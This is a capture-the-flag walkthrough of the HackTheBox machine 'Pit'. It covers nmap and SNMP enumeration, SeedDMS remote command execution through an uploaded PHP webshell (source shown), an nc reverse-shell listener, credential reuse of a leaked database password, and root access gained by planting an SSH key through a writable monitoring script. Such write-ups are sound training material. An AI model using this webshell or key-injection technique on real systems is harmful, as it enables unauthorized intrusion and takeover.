Preface: Pit is a medium box on HackTheBox.eu.
On our initial nmap scan we find some http ports. We can’t find an attack surface on them. Then we started a UDP nmap scan. Where we found an interesting port for us. We will find something useful.
Then we can gain arbitrary code execution through an file upload. From there on we find further configuration files with some credentials. Once on the box we can create a shell file which let us drop our public ssh-key to user root users authorized_files file.
Information gathering
As always we start with an nmap scan for open ports and services:
# Nmap 7.91 scan initiated Sat Jun 12 22:08:40 2021 as: nmap -sV -sC -oN nmap/pit.nmap 10.10.10.241
Nmap scan report for 10.10.10.241
Host is up (0.042s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 6f:c3:40:8f:69:50:69:5a:57:d7:9c:4e:7b:1b:94:96 (RSA)
| 256 c2:6f:f8:ab:a1:20:83:d1:60:ab:cf:63:2d:c8:65:b7 (ECDSA)
|_ 256 6b:65:6c:a6:92:e5:cc:76:17:5a:2f:9a:e7:50:c3:50 (ED25519)
80/tcp open http nginx 1.14.1
|_http-server-header: nginx/1.14.1
|_http-title: Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux
9090/tcp open ssl/zeus-admin?
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.1 400 Bad request
| Content-Type: text/html; charset=utf8
| Transfer-Encoding: chunked
| X-DNS-Prefetch-Control: off
| Referrer-Policy: no-referrer
| X-Content-Type-Options: nosniff
| Cross-Origin-Resource-Policy: same-origin
| <!DOCTYPE html>
| <html>
| <head>
| <title>
| request
| </title>
| <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <style>
| body {
| margin: 0;
| font-family: "RedHatDisplay", "Open Sans", Helvetica, Arial, sans-serif;
| font-size: 12px;
| line-height: 1.66666667;
| color: #333333;
| background-color: #f5f5f5;
| border: 0;
| vertical-align: middle;
| font-weight: 300;
|_ margin: 0 0 10p
| ssl-cert: Subject: commonName=dms-pit.htb/organizationName=4cd9329523184b0ea52ba0d20a1a6f92/countryName=US
| Subject Alternative Name: DNS:dms-pit.htb, DNS:localhost, IP Address:127.0.0.1
| Not valid before: 2020-04-16T23:29:12
|_Not valid after: 2030-06-04T16:09:12
|_ssl-date: TLS randomness does not represent time
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9090-TCP:V=7.91%T=SSL%I=7%D=6/12%Time=60C5148F%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,E70,"HTTP/1\.1\x20400\x20Bad\x20request\r\nContent-Type:
SF:\x20text/html;\x20charset=utf8\r\nTransfer-Encoding:\x20chunked\r\nX-DN
SF:S-Prefetch-Control:\x20off\r\nReferrer-Policy:\x20no-referrer\r\nX-Cont
SF:ent-Type-Options:\x20nosniff\r\nCross-Origin-Resource-Policy:\x20same-o
SF:rigin\r\n\r\n29\r\n<!DOCTYPE\x20html>\n<html>\n<head>\n\x20\x20\x20\x20
SF:<title>\r\nb\r\nBad\x20request\r\nd08\r\n</title>\n\x20\x20\x20\x20<met
SF:a\x20http-equiv=\"Content-Type\"\x20content=\"text/html;\x20charset=utf
SF:-8\">\n\x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=de
SF:vice-width,\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<style>\n\tbody\x
SF:20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20margin:\x200;\n\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\x20\"RedHatDi
SF:splay\",\x20\"Open\x20Sans\",\x20Helvetica,\x20Arial,\x20sans-serif;\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-size:\x2012px;\n\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20line-height:\x201\.6666666
SF:7;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20color:\x20#333333;\
SF:n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20background-color:\x20#
SF:f5f5f5;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20img\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20border:\
SF:x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20vertical-align:\
SF:x20middle;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20h1\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-w
SF:eight:\x20300;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20
SF:\x20\x20\x20p\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20mar
SF:gin:\x200\x200\x2010p")%r(HTTPOptions,E70,"HTTP/1\.1\x20400\x20Bad\x20r
SF:equest\r\nContent-Type:\x20text/html;\x20charset=utf8\r\nTransfer-Encod
SF:ing:\x20chunked\r\nX-DNS-Prefetch-Control:\x20off\r\nReferrer-Policy:\x
SF:20no-referrer\r\nX-Content-Type-Options:\x20nosniff\r\nCross-Origin-Res
SF:ource-Policy:\x20same-origin\r\n\r\n29\r\n<!DOCTYPE\x20html>\n<html>\n<
SF:head>\n\x20\x20\x20\x20<title>\r\nb\r\nBad\x20request\r\nd08\r\n</title
SF:>\n\x20\x20\x20\x20<meta\x20http-equiv=\"Content-Type\"\x20content=\"te
SF:xt/html;\x20charset=utf-8\">\n\x20\x20\x20\x20<meta\x20name=\"viewport\
SF:"\x20content=\"width=device-width,\x20initial-scale=1\.0\">\n\x20\x20\x
SF:20\x20<style>\n\tbody\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20margin:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20fon
SF:t-family:\x20\"RedHatDisplay\",\x20\"Open\x20Sans\",\x20Helvetica,\x20A
SF:rial,\x20sans-serif;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20f
SF:ont-size:\x2012px;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20lin
SF:e-height:\x201\.66666667;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20color:\x20#333333;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0background-color:\x20#f5f5f5;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20
SF:\x20\x20\x20\x20\x20\x20\x20img\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20border:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20vertical-align:\x20middle;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20h1\x20{\n\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20font-weight:\x20300;\n\x20\x20\x20\x20\x20\x20\x20\x20
SF:}\n\x20\x20\x20\x20\x20\x20\x20\x20p\x20{\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20margin:\x200\x200\x2010p");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jun 12 22:11:56 2021 -- 1 IP address (1 host up) scanned in 196.59 seconds
We got three open ports. The port 80 seems to be a default Nginx test page running on a Red Hat Enterprise. On port 9090 runs a service with https. There is also a leak of a domain: dms-pit.htb. So we first go for the port 9090.
Port 9090
At first I will browse to the port using firefox and check the ssl certificate. Maybe there are more informations for us.
At first we got a login page for CentOS. Maybe we need this information later. In the certificate is also another domain: pit.htb.
Hosts
Now I will update my /etc/hosts file with these two domains. Maybe there is a custom virtual host routing. But unfortunately not.
gobuster
I tried to find something useful with gobuster and various wordlists. On port 80, 9090 and the two domains. But there was nothing we could use to take leverage of it.
nmap - UDP
Let’s run an UDP scan with nmap. I do this because nmap will perform by default an TCP SYN scan and with lower privileges it will do an TCP connect scan. It is always a good idea to run an UDP scan if we can’t find a vulnerable attack surface on one of the TCP ports we found.
NOTE: UDP scans are not that reliable as TCP scans. This is caused by the UDP protocol itself. So maybe it is useful to run it multiple times if you can’t find something on the first scan. More informations here.
# Nmap 7.91 scan initiated Sat Jun 12 22:56:22 2021 as: nmap -sU -sV -sC -oN nmap/pit-udp.nmap 10.10.10.241
Nmap scan report for pit.htb (10.10.10.241)
Host is up (0.042s latency).
PORT STATE SERVICE VERSION
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-info:
| enterprise: net-snmp
| engineIDFormat: unknown
| engineIDData: 4ca7e41263c5985e00000000
| snmpEngineBoots: 71
|_ snmpEngineTime: 49m15s
| snmp-sysdescr: Linux pit.htb 4.18.0-240.22.1.el8_3.x86_64 #1 SMP Thu Apr 8 19:01:30 UTC 2021 x86_64
|_ System uptime: 49m15.51s (295551 timeticks)
162/udp filtered snmptrap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jun 12 22:56:52 2021 -- 1 IP address (1 host up) scanned in 30.39 seconds
Awesome, we found two further ports. The port 161 is the interesting one for us. There is snmp running on it. Let’s see how we can gain informations from this service. After some researching and google fu I found snmpwalk and snmpbulkwalk.
snmpbulkwalk
I go for the snmpbulkwalk. More informations are always better. We can extract the necessary informations with grep and various other tools.
$ snmpbulkwalk -v2c -On -t 5 -c public 10.10.10.241 1 > snmp/snmpbulkwalk.txt
$ cat snmp/snmpbulkwalk.txt
... [] ...
.1.3.6.1.4.1.2021.9.1.2.1 = STRING: "/"
.1.3.6.1.4.1.2021.9.1.2.2 = STRING: "/var/www/html/seeddms51x/seeddms"
.1.3.6.1.4.1.2021.9.1.3.1 = STRING: "/dev/mapper/cl-root"
.1.3.6.1.4.1.2021.9.1.3.2 = STRING: "/dev/mapper/cl-seeddms"
... [] ...
Login Name SELinux User MLS/MCS Range Service
__default__ unconfined_u s0-s0:c0.c1023 *
michelle user_u s0 *
root unconfined_u s0-s0:c0.c1023 *
... [] ...
This is a huge output (what we expected). But I found something useful:
.1.3.6.1.4.1.2021.9.1.2.2 = STRING: "/var/www/html/seeddms51x/seeddms"
On our previous enumerations we found pit.htb and dms-pit.htb. Let’s see if we can find this seeddms directory.
Yes! It is on dms-pit.htb.
I searched for the seedDMS, which is a free document management system. The default credentials are admin:admin. But those are not valid on our present installation. As you can see below, there is a user michelle. Let’s try some standard passwords for it.
Login Name SELinux User MLS/MCS Range Service
michelle user_u s0 *
I try always some default, standard and weak passwords. Also always the username itself. So I found the correct credentials: michelle:michelle.
Foothold
Now it is time to check searchsploit for known vulnerabilties for seedDMS.
$ searchsploit seeddms
-------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
SeedDMS 5.1.18 - Persistent Cross-Site Scripting | php/webapps/48324.txt
SeedDMS < 5.1.11 - 'out.GroupMgr.php' Cross-Site Scripting | php/webapps/47024.txt
SeedDMS < 5.1.11 - 'out.UsrMgr.php' Cross-Site Scripting | php/webapps/47023.txt
SeedDMS versions < 5.1.11 - Remote Command Execution | php/webapps/47022.txt
-------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
There is a RCE vulnerability. The other ones are not that useful for us. Let’s check it out:
$ searchsploit -x php/webapps/47022.txt
# Exploit Title: [Remote Command Execution through Unvalidated File Upload in SeedDMS versions <5.1.11]
# Google Dork: [NA]
# Date: [20-June-2019]
# Exploit Author: [Nimit Jain](https://www.linkedin.com/in/nimitiitk)(https://secfolks.blogspot.com)
# Vendor Homepage: [https://www.seeddms.org]
# Software Link: [https://sourceforge.net/projects/seeddms/files/]
# Version: [SeedDMS versions <5.1.11] (REQUIRED)
# Tested on: [NA]
# CVE : [CVE-2019-12744]
Exploit Steps:
Step 1: Login to the application and under any folder add a document.
Step 2: Choose the document as a simple php backdoor file or any backdoor/webshell could be used.
PHP Backdoor Code:
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
Step 3: Now after uploading the file check the document id corresponding to the document.
Step 4: Now go to example.com/data/1048576/"document_id"/1.php?cmd=cat+/etc/passwd to get the command response in browser.
Note: Here "data" and "1048576" are default folders where the uploaded files are getting saved.
Okay, we are able to upload an arbitrary php file . So a default php webshell will do the job. I create a file named qty.php with the following content:
<?php
if (isset($_REQUEST['cmd'])){
echo "<pre>";
system($_REQUEST['cmd']);
echo "</pre>";
die;
}
?>
After the upload I intercepted the request with burpsuite and put in my reverse shell.
Before we send the payload I started my nc listener:
$ nc -lvnp 4444
bash-4.4$ whoami && hostname
whoami && hostname
nginx
pit.htb
bash-4.4$
SHELL: nginx
User
Before we start with linePEASon the box we check the seedDMS directory in the ngnix web directory. There is a /conf folder with a settings.xml file. There are mysql credentials:
<database dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms" dbUser="seeddms" dbPass="ied^ieY6xoquu" doNotCheckVersion="false">
mysql
Unfortunately the mysql service is not accessible from outside. Only from the localhost. So we can not connect directly with the mysql database.
SSH
I tried to use the password for the michelle user to login via ssh. But unfortunately the SSH service is configured to allow only Key-Based Authentication. No luck for us here.
Cockpit web console
On the previous enumerations we found the CentOS login page on the port 9090. Let’s try some configurations with these credentials. I ended up to login with the following credentials: michelle:ied^ieY6xoquu.
On the cockpit there is a Terminal link in the left sidebar. So we got terminal access via the web console with the user michelle.
SHELL: michelle
Root
As always I run LinPEAS to check for common vulnerabilities and misconfigurations. But I can’t find something odd this time. I also tried LinEnum, but nothing. So I decided to go over all saved output I got from my previous enumerations. After some time I found something unusual:
.1.3.6.1.4.1.8072.1.3.2.2.1.2.10.109.111.110.105.116.111.114.105.110.103 = STRING: /usr/bin/monitor
In my snmpbulkwalk output is a uncommon binary /usr/bin/monitor. So let’s check this file out. First I take a look what file type it is:
$ file /usr/bin/monitor
/usr/bin/monitor: Bourne-Again shell script, ASCII text executable
This is not a binary file. We got a shell script so we should take a look into it:
$ cat /usr/bin/monitor #!/bin/bash
for script in /usr/local/monitoring/check\*sh
do
/bin/bash $script
done
This script got all files with a file name pattern check<RANDOM>sh from the folder /usr/local/monitoring/ and run it with bash. So this will be run in the same context as the script itself. Let’s see what permissions we got for this two folders. Maybe we can gain arbitrary code execution with this.
I will check the permissions on the /monitoring folder.
$ ls -la /usr/local/
total 0
drwxr-xr-x. 13 root root 149 Nov 3 2020 .
drwxr-xr-x. 12 root root 144 May 10 05:06 ..
drwxr-xr-x. 2 root root 6 Nov 3 2020 bin
drwxr-xr-x. 2 root root 6 Nov 3 2020 etc
drwxr-xr-x. 2 root root 6 Nov 3 2020 games
drwxr-xr-x. 2 root root 6 Nov 3 2020 include
drwxr-xr-x. 2 root root 6 Nov 3 2020 lib
drwxr-xr-x. 3 root root 17 May 10 05:06 lib64
drwxr-xr-x. 2 root root 6 Nov 3 2020 libexec
drwxrwx---+ 2 root root 122 May 17 13:40 monitoring
drwxr-xr-x. 2 root root 6 Nov 3 2020 sbin
drwxr-xr-x. 5 root root 49 Nov 3 2020 share
drwxr-xr-x. 2 root root 6 Nov 3 2020 src
We got no standard permission on the folder. Only the user and the group root. But at the end is a + sign. This means there is ACL implemented on this folder. In simple terms it has extended permissions. We check those:
$ getfacl /usr/local/monitoring/
getfacl: Removing leading '/' from absolute path names
# file: usr/local/monitoring/
# owner: root
# group: root
user::rwx
user:michelle:-wx
group::rwx
mask::rwx
other::---
The owner is root but the user michelle (our current user) got write and execute permissions. So we can drop a arbitrary shell file which is going to be executed in the root user context I guess.
On my local machine I created a new ssh key-pair. Which I use for my shell script. Because I will drop my public key into the authorized_keys file of the root user.
I created this file on the box:
$ cat check-qty.sh
echo "<SSH-PUBLIC-KEY" > /root/.ssh/authorized_keys
Now I will copy it to the correct location:
$ cp check.sh /usr/local/monitoring/
Now we need to run snmpwalk to trigger the /usr/bin/monitor executable. On the previous enumeration we found the monitor file via snmpbulkwalk. There we got the object identifier for it. This is an address used to uniquely identify managed devices and their statuses in a network.
$ snmpwalk -m +MY-MIB -v2c -c public pit.htb nsExtendObjects
Now we should able to login with our private key.
NOTE: make sure you set the correct permissions on the private key (chmod 600 <PRIVATE-KEY>).
$ ssh -i root_id_rsa root@pit.htb
Web console: https://pit.htb:9090/
Last login: Mon May 17 14:21:20 2021 from 10.10.14.12
[root@pit ~]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0- s0:c0.c1023
Nice! We got a root shell!
SHELL: root
Thanks for reading! I hope you enjoyed it!